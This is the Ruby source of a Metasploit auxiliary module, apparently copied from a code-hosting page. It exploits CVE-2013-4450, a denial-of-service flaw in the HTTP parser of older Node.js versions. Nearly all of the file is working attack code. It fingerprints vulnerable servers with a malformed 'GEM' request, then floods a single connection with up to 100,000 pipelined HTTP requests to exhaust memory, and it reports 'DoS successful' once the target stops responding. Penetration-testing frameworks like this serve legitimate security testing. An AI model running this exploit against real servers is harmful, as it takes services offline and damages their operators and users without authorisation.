93 lines
2.9 KiB
Ruby
93 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Node.js HTTP Pipelining Denial of Service',
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'Description' => %q{
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This module exploits a Denial of Service (DoS) condition in the HTTP parser of Node.js versions
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released before 0.10.21 and 0.8.26. The attack sends many pipelined
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HTTP requests on a single connection, which causes unbounded memory
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allocation when the client does not read the responses.
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},
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'Author' =>
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[
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'Marek Majkowski', # Vulnerability discovery
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'titanous', # Metasploit module
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'joev' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-4450' ],
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[ 'OSVDB', '98724' ],
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[ 'BID' , '63229' ],
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[ 'URL', 'http://blog.nodejs.org/2013/10/22/cve-2013-4450-http-server-pipeline-flood-dos' ]
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],
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'DisclosureDate' => 'Oct 18 2013'))
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register_options(
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[
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Opt::RPORT(80),
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OptInt.new('RLIMIT', [true, "Number of requests to send", 100000])
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],
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self.class)
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end
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def check
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# http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
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# check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
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status = Exploit::CheckCode::Safe
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connect
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sock.put(http_request("GEM"))
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begin
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response = sock.get_once
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status = Exploit::CheckCode::Appears if response =~ /HTTP/
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rescue EOFError
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# checking against >= 0.10.17 raises EOFError because there is no
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# response to GEM requests
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vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)")
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return Msf::Exploit::CheckCode::Unknown
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ensure
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disconnect
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end
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status
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end
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def host
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host = datastore['RHOST']
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host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
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host
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end
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def http_request(method='GET')
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"#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
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end
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def run
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payload = http_request
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begin
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print_status("Stressing the target memory...")
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connect
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datastore['RLIMIT'].times { sock.put(payload) }
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print_status("Attack finished. If you read it, it wasn't enough to trigger an Out Of Memory condition.")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_status("Unable to connect to #{host}.")
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rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
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print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached")
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ensure
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disconnect
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end
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end
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end
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